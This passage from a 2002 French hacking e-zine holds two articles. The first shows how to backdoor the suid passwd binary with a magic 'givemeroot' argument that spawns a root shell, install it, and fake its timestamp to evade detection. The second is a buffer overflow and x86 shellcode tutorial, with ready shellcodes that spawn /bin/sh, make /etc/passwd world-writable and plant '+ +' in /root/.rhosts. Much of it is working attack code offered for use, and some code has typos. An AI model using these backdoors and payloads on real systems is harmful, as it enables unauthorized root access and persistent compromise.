qui nous intéresse. Peut- être avez vous déjà saisi le code, sinon voici quelques explications. Généralement, un programme est appelé ainsi : fox$ ./prog argument1 arguement2 argv[0] argv[1] argv[2] argv[] est donc un tableau de pointeurs, lesquels pointent comme leur nom l'indique vers des données de type char, qui sont ici les arguments passés en ligne de commande. Mais dans notre exemple, nous avons un tablau nommé extraArgs[]; Ce tableau contient lui aussi les arguments passés en ligne de commande, mais de la manière suivante : argv[0] = argv[0] /* = progname */ argv[1] = extraArgs[0] argv[2] = extra Args[1] Pour comprendre pourquoi, il nous faut connaître la syntaxe de "passwd". Je suppose que vous savez déjà comment fonctionne "passwd", mais on va quand même préciser, au cas où : [fox@localhost fox]$ whoami fox [fox@localhost fox]$ passwd Changing password for fox (current) UNIX password: New UNIXpassword : Retype new UNIX password: passwd: all authentication tokens updates successfully [fox@localhost fox]$ passwd toto passwd: Only root can specify a username [fox@localhost fox]$ En tant que simple utilisateur "fox", on ne peut que changer son mot de passe personnel, donc on ne peut pas appeler "passwd" avec argument. Ainis, si l'utilisateur n'est pas root, il faut s'assurer qu'il n'entre aucun argument, c'est à dire que extraArgv[0] soit null. Si uid!=0 et "extraArgs[0] != 0" cela signifie que l'utilisateur n'est pas root et a quand même spécifié un argument, donc message d'erreur et sortie du programme. Ce qui donne : if(extraArgs && extraArgs[0]){ /* si un argument */ if(getuid()){ /* et si pas root */ fprintf(stderr, "%s: Only root can specify a username\n", progname); /* sortie */ exit(-3); } C'est à ce moment là que nous allons intervenir ! [ Quel code insérer ? ] Le binaire /usr/bin/passwd est suid, donc on peut lui faire exécuter nos commandes avec les droits du root. On va faire en sorte que si "passwd" est appelé avec un certain argument, il nous donne uid/gid=0 et exécute un shell. Problème : seul le root peut spécifier un argument ... ben va falloir remodeler tout ça ! Je vous propose ceci : #define MAGIC_STRING "givemeroot" char *shell[2]; ... /* si un argument */ if (extraArgs && extraArgs[0]) { /* et si pas root */ if (getuid()) { /* et si l'argument est "givemeroot" */ if(strstr(argv[1],MAGIC_STRING)!=NULL){ /* alors retourne un shell */ shell[0]="/bin/sh"; shell[1]=NULL; setuid(0); setgid(0); execve(shell[0],shell,NULL); } else { /* sinon, l'argument n'est pas "givemeroot". En tant qu'user */ /* aucun argument n'est autorisé : sortie du programe */ fprintf(stderr, "%s: Only root can specify a username\n", progname); exit(0); } } Voilà, c'était tout bête, mais ça va s'avérer très efficace par la suite. On doit donc recompiler à présent, de manière à obtenir notre nouvel exécutable. Pour cela, il nous faut tenir compte du Makefile, et même créer notre propre Makefile. [ Le Makefile ] Pour que notre outil fonctionne, il faut ajouter lors de la compilation le fichier pwdb.c. Ce dernier contient toute une série de fonctions utilisées par "passwd" pour la gestion des passwords : on trouve entre autres, les fonctions lock_passwd, unlock_passwd et delete_entry, pour vérouiller/dévérouiller un compte et supprimer une entrée. Nous devrons inclure ce fichier à notre future archive. Comme je le précisais un peu plus haut, il faut également inclure le header pwdb.h. Nous allons réécrire le Makefile correspondant à nos besoins : [fox@localhost passwd-0.64.1]$ cat << EOF > Newmakefile CC = gcc LDFLAGS = -ldl -lpam -lpam_misc -lpwdb POPT = -lpopt PROJECT = passwd passwd: passwd.o pwdb.o $(CC) $(LDFLAGS) -o $@ $^ $(POPT) EOF [fox@localhost passwd-0.64.1]$ J'ai repris les options tel qu'elles figuraient dans le Makefile original, sans trop savoir d'ailleurs avec précison la signification de chacune. Bien, nous allons donc créer une nouvelle archive contenant les sources modifiées de notre outil. Nous devons y inclure : o Le Makefile o Le header pwdb.h o Le source pwdb.c indispensable o Le source principal passwd.c [fox@localhost passwd-0.64.1]$ mkdir /home/fox/passwd [fox@localhost passwd-0.64.1]$ mv Newmakefile /home/fox/passwd/Makefile [fox@localhost passwd-0.64.1]$ cp passwd.c /home/fox/passwd [fox@localhost passwd-0.64.1]$ cp pwdb.c /home/fox/passwd [fox@localhost passwd-0.64.1]$ cp pwdb.h /home/fox/passwd [fox@localhost passwd-0.64.1]$ cd [fox@localhost fox]$ cd passwd [fox@localhost passwd]$ ls Makefile passwd.c pwdb.c pwdb.h [fox@localhost passwd]$ cd ../ [fox@localhost fox]$ pwd /home/fox [fox@localhost fox]$ ls passwd passwd [fox@localhost fox]$ tar -c passwd > passwd.tar [fox@localhost fox]$ gzip passwd.tar [fox@localhost fox]$ ls passwd* passwd passwd.tar.gz [fox@localhost fox]$ Et voilà notre nouvelle archive fin prête. Nous allons l'installer et faire une petite démonstration. 2. Installation et Démonstration : __________________________________ [ Attention ] Une fois le nouveau "passwd" compilé, vous devrez l'installer à la place de l'original. Pensez à garder une copie du vrai binaire quelque part. Remplacer un binaire est tout à fait possible et passera inaperçu sur un système ne faisant tourner aucun vérificateur d'intégrité tel que tripwire. Rapellez vous de n'installer et de n'utiliser cet outil que sur votre machine ou sur une machine où vous êtes autorisés à le faire. [ Installation ] Nous supposerons que vous ayez un accès root sur la machine "test", cette dernière étant une redhat ne faisant pas trourner tripwire. Nous supposerons également que vous venez de downloader l'archive passwd.tar.gz qui se trouve maintenant dans /home/user/... [user@test ~/user]$ whoami user [user@test ~/user]$ cd ... [user@test ...]$ ./votre_shell_suid bash# whoami root bash# ls passwd* passwd.tar.gz bash# gzip -cd passwd.tar.gz | tar xvf - passwd/Makefile passwd/passwd.c passwd/pwdb.c passwd/pwdb.h bash# ls passwd* passwd passwd.tar.gz bash# cd passwd bash# ls Makefile passwd.c pwdb.c pwdb.h bash# Bien, compilons et installons ... bash# make gcc -c -o passwd.o passwd.c gcc -c -o pwdb.o pwdb.c gcc -ldl -lpan -lpam_misc -lpwdb -o passwd passwd.o pwdb.o -lpopt bash# ls Makefile passwd passwd.c passwd.o pwdb.c pwdb.h pwdb.o bash# which passwd /usr/bin/passwd bash# ls -al /usr/bin/passwd -r-s--x--x 1 root root 12536 jui 12 2000 /usr/bin/passwd bash# chmod 4511 passwd bash# cp /usr/bin/passwd old_passwd bash# ls Makefile old_passwd passwd passwd.c passwd.o pwdb.c pwdb.h pwdb.o bash# rm /usr/bin/passwd bash# cp passwd /usr/bin bash# ls -al /usr/bin/passwd -r-s--x--x 1 root root 12641 jun 04 2002 /usr/bin/passwd bash# touch -t 200007121111 /usr/bin/passwd bash# ls -al /usr/bin/passwd -r-s--x--x 1 root root 12641 jui 12 2000 /usr/bin/passwd bash# Bien, regardons si passwd fonctionne toujours comme il devrait : [root@test passwd]# exit [user@test ...]$ cd [user@test ~/user]$ [user@test ~/user]$ which passwd /usr/bin/passwd [user@test ~/user]$ passwd Changing password for user (current) UNIX password: New UNIX password: Retype new UNIX password: passwd: all authentication tokens updates successfully [user@test ~/user]$ Le nouvel outil "passwd" fonctionne comme l'original. Testons à présent la backdoor : [user@test ~/user]$ whoami user [user@test ~/user]$ passwd toto passwd: Only root can specify a username [user@test ~/user]$ passwd givemeroot sh-2.04# whoami root sh-2.04# Et voilà notre petite backdoor basique, bien planquée dans un exécutable hors de tout soupçon ! 3. Quelques Remarques : _______________________ o Je ne le répéterai jamais assez, ceci n'est utilisable qu'en l'absence de vérificateur d'intégrité, sinon, non ! voilà, c'est clair ! Admins, faites donc régulièrement appel à tripwire via cron ! o Les sources originales sont celles d'une redhat, et par conséquent, vous ne pourrez utiliser cette backdoor que sur une redhat. Cet outil a été testé avec succès sur ma 7.0 ainsi que sur une 6.1. Il semblerait donc qu'il fonctionne indépendament de la version ; toutefois, si vous notez un problème avec votre distrib, tenez moi au courant en précisant de quelle version il s'agit. [ Conclusion ] Je vous encourage à jeter de temps en temps un coup d'oeil à vos sources, ne serait-ce que par plaisir de lire du code, et tant qu'a faire, de le comprendre =). --------------------------------------------------------------------------------------- XIII. Buffer Overflow & Shellcodes x86 Howto Li0n7 --------------------------------------------------------------------------------------- [ Sommaire ] Dépassement de tampon |-> Processus et fonctions |-> La pile structure et comportement Shellcode |-> Les registres |-> Les instructions |-> Programmation de shellcodes |-> hello.S |-> bin.S |-> cshell.c |-> the_last_one.c ANNEXE : Shellcodes par Neofox [ Introduction ] Chaque semaine, des failles de sécurités sont découvertes dans certains programmes, qu'ils soient répandues ou non. Elles résultent toujours d'une erreur de programmation anodine dont les conséquences sont souvent désastreuses et irréversibles pour les serveurs proposant des services quelconques cachés dérrière les dit-programmes. Ces failles se limitent dans la majorité des cas à des buffer overflows de tout type, mais qu'en est-il vraiment? Analyse d'une attaque dynamique locale ou distante sophistiquée et portable, toute architecture, plus qu'à a mode. ++++ | Partie 1 : Dépassement de tampon | ++++ => Processus et fonctions => La pile : strucutre et comportement I. Processus et fonctions : ___________________________ Pour comprendre les dépassements de tampon, il faut connaitre le fonction d'un ordinateur au niveau de la gestion des processus et de l'allocation dynamique de la mémoire.Toute machine fait appel à des processus, qui gérent les entrées/sorties (i/o), lesquels font périodiquement appels à des fonctions. Lors de l'appel d'un processus, l'OS va lui allouer de la mémoire, initialisée par le code de la première fonction à être éxécutée. Familières aux programmeurs, elle est appelée point d'entrée, parce qu'elle début tout processus, ou plus généralement main. ex: En C: void main(void) {} En ASM: .gobl main main: Il est important de savoir que les fonction s'enchainent en appelant sans-cesse d'autres sous fonctions. Une fonction doit donc pouvoir stocker ses propres données, et c'est alors qu'intervient la pile (stack), qui n'est autre qu'un portion de mémoire allouée par le CPU. Les fonctions communiquent avec la pile perpétuellement, par le biais de plusieurs instructions: o push $valeur - Place en haut de la pile une valeur quelconque passée en paramètre. o pop $REGISTRE - Séléctionne le dernier élément stocké au sommet de la pile pour le placer dans un registre passé en paramètre. I Imaginez donc la suite lorsque la pile se trouve remplie par une variable dont la taille est supérieure à sa mémoire totale de stockage... Beau plantage en perspective... +---------------+ | | | | | [CPU] | | | | | +---------------+ | | | * PROCESSUS | | --*-- Fonction 1 (point d'entrée) | | | | Sous fonction --*| |*-- Sous fonction 1 Nous savons donc que le processeur initialise une mémoire système à la pile avant l'appel d'une fonction ; une fois une sous-fonction achevée, la fonction l'ayant appelé prend sa place et continue son éxécution. Le processeur doit donc gérer la mémoire, éxécuter certaines taches tout en gardant la trace de l'ensemble des instructions éxécutées. Il va donc faire appel à une zone de stockage temporaire: les registres. Il existe une bonne douzaine de registres spécialisés dans la sauvegarde de certains types de données à des moments critiques. Un de ces registres nous intérèsse plus particulièrement il s'agit, du registre #eip, ou plus communément appelé le pointeur d'instruction. Ce dernier pointe sur l'instruction en cours d'éxécution. Si la fonction appelle une autre fonction sous jacente, alors le pointeur est réinitialisé et pointe sur la dernière fonction en cours d'éxécution. Celle-ci achevée, le pointeur d'instruction, doit être capable de se réinitialiser et de repointer sur la fonction antérieure. Toutes ces valeurs, le ptr d'instruction compris, sont stockés dans la stack. L'attaquant essaiera donc de faire déborder le tampon pour modifier l'adresse de l'instruction de retour. [ Temps 1 ] - EIP pointe sur F1 EIP EIP ------------> fonction 1 <----- <------------ |Temps 3] - EIP repointe sur F1 [ Temps 2 ] - EIP pointe sur SF1 | | | | EIP | | ------------> |----> appel sous-fonction 1 II. La pile, structure et comportement : ________________________________________ Entrons dans le vif du sujet : La pile est un bloc hébergeant temporairement des données en temps réèl, elle est donc constamment manipulée et modifiée. ------8<--------------------------------------------------------------------- void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } ------8<--------------------------------------------------------------------- Dans cet exemple ( tiré du célèbre paper d'Aleph One), lors de la fonction main(), la variable char large_string de 256 octetsva être remplie de A, puis main appelle function qui copie large_string dans une variable type char de 16 octets appelé buffer. Le résultat ? Une erreur de segmentation surviendra, le core sera dumpé, le programme crashera. +----------+ | Tampon | | recouvre | Attaquant remplit ---> | adresse | <--- shellcode inséré tampon | de | | retour | STOP Adresse de retour ---> +----=-----+ --> +----------+ écrasée +----=-----+ | | | = | | NULL | | = | --> +----------+ | = | | STACK | | | | | +----------+ | Adresse | | sauvée | +----------+ Mais attention si le pointeur d'instruction rencontre un caractère NULL, alors la chaine de caractère s'arrêtera sur le champ ; le payload ne sera alors pas éxécuté. La majorité des buffer overflows se situent au niveau de fonctions comme strcpy, lstrcy (toutes ses variantes), sprintf, strcat, lstrcat, etc ... qui ne vérifient pas si la variable peut contenir ou nom la chaine de caractère passée en second paramètre. Une fois la pile écrasée, l'adresse de retour est alors modifiée pour pointer sur le shellcode que le pirate aura alors placé dans la pile. Il va donc prendre le contrôle du processeur en codant un payload tout en shellcode, au préalable codé en assembleur, puis en l'éxécutant sur le système attaqué. Le payload se logeant avec les autres données dans la pile, il faut que le pointeur d'instruction pointe sur le début du code : une erreur d'estimation serait fatale pour l'assaillant. ++++ | Partie II : Les Shellcodes | ++++ Dans le cadre d'un buffer overflow, nous allons essayer de passer des instructions à notre processeur victime, dans le but d'exploiter cette faille à des fins personnelles. Les possibilités sont multiples : virus, backdoors, spwaning de shell ... Laissez libre cours à votre imagination. I. Les registres : __________________ Il existe un grand nombre de registres, dont voici une liste: EAX: accumulateur EBX: adresse de base ECX: compteur EDX: données EDI: index destination ESI: index source EIP: pointeur d'instruction ESP: pointeur de pile EBP: pointeur de base de la pile EFL: indicateur II. Les instructions : ______________________ De nombreuses instructions vont être nécéssaires pour mettre en oeuvre le payload en shellcode. En voici quelques-unes : mov: Déplace une quelconque valeur dans un registre leal: Charge une adresse mémoire dans un registre push: Place en haut de la pile une valeur quelconque passée en paramètre. pop: Séléctionne le dernier élément stocké au sommet de la pile pour le placer dans un registre passé en paramètre. ret: Jump jusqu'à l'adresse mémoire en haut du stack call: Appel une fonction jmp: Saute jusqu'à une fonction cmp: Equivalent du if, permet de comparer deux valeurs jz: Equivalent du alors jmp xor: Ou exclusif, opération sur les bits. dev: Décrémente (i--;) inc: Incrémente (i++;) III. Programmation de shellcodes : __________________________________ Donc, nous allons commencer par un petit hello world, je trouve ça vraiment banal, mais bon, il faut vien commencer par quelque chose de facile ... En C, rien de plus simple: ----8<-------------------------- #include #include int main(void){ char mes[256]="H3110 w0r1:)!\n"; write(1, mes, sizeof(mes)); /* utilisation de write pour écrire dans le fd */ return 0; } ----8<---------------------------- La fonction write se présente donc ainsi: write(int fd, char *mes, size_t size) Avec, fd: le file descriptor, mes: le message, et size: la taille de notre message. ----8<---------hello.S------------------------------------------------------- .data mes: .string "H3110 w0r1:)!\n" //Le message meslen: .equ len, meslen - mes // La taille du message .global main main: // La fonction main movl $0x4, %eax // numéro d'appel système 4 movl $0x1, %ebx // File descriptor = 1 = stdout movl $mes, %ecx // le message dans %ecx movl $meslen, %edx // La taille du mes dans %edx int $0x80 // Interruption dans le kernel et on appel la fonction write xorl %eax, %eax // %eax=0 andl %ebx, %eax // %ebx=0 incl %eax // %eax=1 int $0x80 // On appel la fonction quitter ----8<----------------------------------------------------------------------- On compile le tout et on éxécute: $ g++ hello hello.S $ ./hello H3110 w0r1:)! $ Notre but principal sera donc, de spawner un shell pour acquérir le root ; notez que ce shellcode ne pourra être utilisé que dans le cadre d'un exploit local. Les remote exploits seront étudiés prochainement. Donc nous allons éxécuter un shell, pourquoi pas /bin/sh? On va se setreuid(0,0) au cas où ; de toute façon ce ne peut que être bénéfique du point de vue apprentissage de ce langage d'assemblage. Il est vrai que l'assembleur peut paraître difficile à l'oeil non-averti, mais il se limite à la manipulation de registres primitifs. Continuons, notre programme en C: ----8<-------------------------- #include int main(void){ char *shell[2] streuid(0,0); shell[0]= "/bin/sh"; shell[1]= NULL; execve(shell[0], shell, NULL); return 0; } ----8<--------------------------- Lors de la fonction main, on commence par se donner un accès root, bien qu'inutile ici vu que nous travaillons dans le cadre d'un dépassement de tampon ; les droits sont alors abstrait, mais cela est toujours utile de savoir "se rooter" en shellcode. On a définie un ptr sur le char shell, contenant la chaine /bin/sh, suivit d'un caractère NULL pour le terminer. Puis, on éxécute le tout. Notez que compiler et éxécuter au format asm tel quel, ne fonctionnera et spawnera le shell que si vous êtes déjà root. Ce code fonctionne dans sa totalité sous forme de shellcode exploité dans un BO. ----8<----------bin.S--------------------------------------------------------- [.texte] #|- [.globl shellcode] #|Pour le fichier cshell.c plus bas, omettre sinon [shellcode:] #|- jmp 0x1c # On jump to call popl %ebx # On met l'adresse de bin/sh dans %ebx movl %ebx,0x8(%ebx) # on stocke %ebx à %ebx+0x8 xorl %eax,%eax # %eax=0 movb %eax,0x7(%ebx) # NULL à la fin du string movl %eax,0xc(%ebx) movb $0xb,%al # On appel execve leal 0x8(%ebx),%ecx # On charge %ecx avec adresse %ebx+0x8 leal 0xc(%ebx),%edx # On charge %edx avec adresse %edx+0xc int $0x80 # On éxécute xorl %eax,%eax inc %al int $0x80 # On quitte call -0xce # On met l'adresse au sommet de la pile .string "bin/sh" -----8<----------------------------------------------------------------------- On compile et on éxécute: $ g++ bin bin.S $ ./bin sh-x.xx$ A présent, l'heure est à la programmation en shellcode. Non on ne va pas encore coder un shellcode en brut (ne vous inquiètez pas, je vous concocte ça pour bientôt), mais on va plutôt tenter de se procurer le fameux shellcode à partir de notre code en assembleur. Pour cela, écrivons un petit prog tout simple en C. Ce dernier va se contenter d'ouvrir le fichier .S dans lequel setrouve notre code, ASM puis, à partir des instructions ASM, il nous donne le shellcode correspondant. Notez qu'il y a deux arguments, -t pour voir la taille du shellcode, et -s pour sauvegarder le shellcode dans un fichier. -----8<--------cshell.c------------------------------------------------------ #include void shellcode(); int cree_shellcode(int sf, FILE *ff, char *shellcode) { int i=0; int j=0; printf("shellcode=\n"); printf("\""); while(shellcode[i]){ if (sf==1){ if ((fopen(ff, "w+"))<0){ printf("Erreur lors de la création/ouverture du fichier\n"); exit(1); } } if((j%10==0) && (j!=0)){ printf("\"\n\""); } printf("\\x%.2x",(shellcode[i]&0xff)); if (sf==1){ fprintf(ff,"\\x%.2x",(shellcode[i]&0xff) ); } i++; j++; } if (sf==1){ fclose(ff); } printf("\" ;\n"); return 0; } int main(int argc, char *argv[]) { int t=0,s1; File *ff; while( (argc > 1) && (argv[1][0]=='-')) { switch(argv[1][1]) { case 's': s=1; ff=&argv[1][2]; break; case 't': t=1; break; } --argc; ++argv; } cree_shellcode(s, ff, (char *)shellcode); if (t==1){ printf("-> taille_shellcode: %d <-\n",strlen((char *)shellcode));} return 0; } -----8<---------------------------------------------------------------------- On compile le tout, après avoir stocké notre asm code dans un fichier .S: $ gcc cshell cshell.s fichier.S // le fichier.S contient le code asm dans sa totalité On éxécute alors notre cshell pour avoir notre shellcode à partir du code asm, c'est parti! Remarques: o l'argument -s permet de sauvegarder le shellcode dans un fichier o l'argument -t permet de calculer la taille en octets de notre shellcode $ ./cshell -t shellcode=" \xeb\x1c\x5b\x89\x5b\x08\x31\xc0\x88\x43 \x07\x89\x43\x0c\xb0\x0b\x8d\x4d\x08\x8d \x53\x0c\xcd\x80\x32\xc0\xe8\xce\xff\xff \xff/bin/sh" -> taille_shellcode: xx octets <- Je n'ai pas calculé la taille, car le shellcode a été fait main, pour la connaitre éxécutez cshell. Il ne nous reste plus qu'à exploiter ce shellcoder au travers d'un dépassement de tampon pour spawner ce fameux /bin/sh en root. ----8<----------the_last_one.c------------------------------------------------ void function(char *str) { char shellcode[46]= "\xeb\x1c\x5b\x89\x5b\x08\x31\xc0\x88\x43" "\x07\x89\x43\x0c\xb0\x0b\x8d\x4d\x08\x8d" "\x53\x0c\xcd\x80\x32\xc0\xe8\xce\xff\xff" "\xff/bin/sh" strcpy(str,shellcode); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } ----8<----------------------------------------------------------------------- Et voila, ce petit code mettant en relief une faille type dépassement de tampon au niveau de la fonction strcpy, va copier à la suite d'une chaine string (remplie de "A"), notre shellcode qui va être passé au processeur, pour enfin lancer le shell en root. Gotcha! Nous avons donc vu les bases de la maitrise du buffer overflow, actuellement une notion plus que fondamental. Les shellcodes étudiés sont tous simples, encore, je vous conseille vivement d'aller lire le texte de smiler sur l'art d'écrire des shellcodes (disponible sur ouah) ; il aborde rapidement quelques types optimisés, comme les types anti-IDS ( qui passent à travers les systèmes de filtrage en remote) ou encore les remote shellcodes bindant un port. La prochaine fois, j'essaierai de vous présenter d'autres types de shellcodes plus avancés (polymorphic style for e.g). Bon, pas de conclusion banale du style "j'espère vous avoir appris quelque chose", mais plutôt un souhait pour une bonne continuation, et arrêtez par pitié de passer le plus clair de votre temps à vitupérer une éthiques puérils quelque qu'elle soit ... Ce n'est là que perte de temps inutile. ANNEXE : Shellcodes par Neofox ______________________________ J'ai decouvert, il y a peu, le monde merveilleux de la prog Assembleur, et dans la foulée, celui de l'écriture de shellcodes. Peut-être servieront-ils à quelqu'un, ou peut-être que non, ça n'a pas grande importance. Ca ne va pas non plus révolutionner la scène, mais je vous les donne quand même à tout hasard, avec le code asm correspondant. Pour désassembler, je me suis servi de 'objdump' => "% objdump -d file", ça change de gdb. /* chmod shellcode 53bytes long * * Shellcode fort symathique qui fait appel à * setreuid() puis mets /etc/passwd au mode 666. * */ char shellcode2[]= "\x31\xdb" /* xor %ebx,%ebx */ "\x31\xc9" /* xor %ecx,%ecx */ "\xb0\x46" /* mov $0x46,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax,%eax */ "\x66\xb9\xb6\x01" /* mov $0x1b6,%cx */ "\x51" /* push %ecx */ "\x89\xe5" /* mov %esp,%ebp */ "\x50" /* push %eax */ "\x68\x73\x73\x77\x64" /* push $0x64777373 */ "\x68\x2f\x2f\x70\x61" /* push $0x61702f2f */ "\x68\x2f\x65\x74\x63" /* push $0x6374652f */ "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* push %eax */ "\x31\xd2" /* xor %edx,%edx */ "\x55" /* push %ebp */ "\x53" /* push %ebx */ "\xb0\x0f" /* mov $0xf,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax,%eax */ "\x89\xc3" /* mov %eax,%ebx */ "\x89\xc1" /* mov %eax,%ecx */ "\x40" /* inc %eax */ "\xcd\x80"; /* int $0x80 */ /* rhosts shellcode 72bytes long * * Ce shellcode va créer un fichier /root/.rhosts * avec "+ +" à l'intérieur. A partir de là, vous * savez quoi faire =) * */ char shellcode3[]= "\x31\xc0" /* xor %eax,%eax */ "\x31\xdb" /* xor %ebx,%ebx */ "\x31\xc9" /* xor %ecx,%ecx */ "\xb0\x46" /* mov $0x46,%al */ "\xcd\x80" /* int $0x80 */ "\x50" /* push %eax */ "\x29\xd2" /* sub %edx,%edx */ "\xb1\x42" /* mov $0x42,%cl */ "\x66\xba\xb6\x01" /* mov $0x1b6,%dx */ "\x50" /* push %eax */ "\x68\x6f\x73\x74\x73" /* push $0x7374736f */ "\x68\x2f\x2e\x72\x68" /* push $0x68722e2f */ "\x68\x6f\x74\x2f\x2f" /* push $0x2f2f746f */ "\x68\x2f\x2f\x72\x6f" /* push $0x6f722f2f */ "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* push %eax */ "\xb0\x05" /* mov $0x5,%al */ "\xcd\x80" /* int $0x80 */ "\x29\xdb" /* sub %ebx,%ebx */ "\x29\xd2" /* sub %edx,%edx */ "\xb3\x03" /* mov $0x3,%bl */ "\x66\x68\x2b\x2b" /* pushw $0x2b2b */ "\x89\xe1" /* mov %esp,%ecx */ "\xb2\x02" /* mov $0x2,%dl */ "\xb0\x04" /* mov $0x4,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax,%eax */ "\x31\xdb" /* xor %ebx,%ebx */ "\x40" /* inc %eax */ "\xcd\x80"; /* int $0x80 */ [ Remarques ] Dans chaque code, vous avez surmement remarqué une série de 'push'. En effet, dans le premier shellcode par exemple, il nous faut dans %ebx un pointeur sur l'adresse de '/bin/sh'. Au lieu de jouer avec 'jmp' et 'call' pour l'obtenir, j'ai pushé directement sur la stack le code hexadécimal correspondant à '/bin/sh' ( h=68, s=73 ...). Si vous comptez vous aussi vous amuser à ce petit jeu, pour obtenir la conversion en hexa, faites vous un petit code tout simple dans le style de celui-ci : /* * Conversion hexadécimale * */ #include #include int i; char alpha[28]={ 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','/','.' }; char nbr[10]={ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9' }; int main(){ for(i=0;i<28;i++){ printf("%c = %x\t",alpha[i], alpha[i]); } i=0; printf("\n\n\n"); for(i=0;i<10;i++){ printf("%c = %x\t",nbr[i], nbr[i]); } printf("\n\n"); return 0; } --------------------------------------------------------------------------------------- CONTACTS IOC Staff --------------------------------------------------------------------------------------- ONT PARTICIPE A L'ELABORATION CE CE MAGAZINE : ¤ Meik : meik666@hotmail.com #150635264 ¤ Neofox : neo_fox_2001@hotmail.com #150837448 ¤ Emper0r : emper0r@m-net.arbornet.org #66985563 ¤ Abel : abel@fr.st EN COLLABORATION AVEC : ¤ Jackieils : jackniels@hotmail.com ¤ Li0n7 : killer.kil@voila.fr LIENS www.hianda.fr.st www.newffr.org www.rootshell.be/~mrmilow http://jahnastah.org www.rndghost.com www.root-privs.be.tf www.projet7.org www.kernhell.org www.salemioche.com ____ ___ __ __ ____ __ __ __ ___ __ ___ __ __ / __| / \ | '_ \ / __|| | | | | |/ __/| | / \ | '_ \ | [__ | [ ] || | | || [__ | |_| - |\__ \| || [ ] || | | | \____| \_____/ |__| |__| \____||____|\______||___/|__| \_____/ |__| |__| Ainsi s'achève cette 4ème issue. Bien que nous ayons été plus nombreux que d'habitude à conçevoir ce mag, nous recherchons toujours des collaborateurs, ponctuels ou à plein temps, pour les issues à venir.A l'heure où ce magazine est mis en ligne, Emper0r vient juste de rentrer du LSM2002 (The Libre Software Meeting), un article et des photos pour le prochain nuéméro ? Nous allons dés à présent nous mettre à la réalisation du n°5 mais la date de sortie n'est pas encore fixée ; cela dépendra du nombre d'articles qui nous seront envoyés. En attendant, passez de bonnes vacances et rendez-vous à la rentrée ! - Copyright © 2002 [IOC] -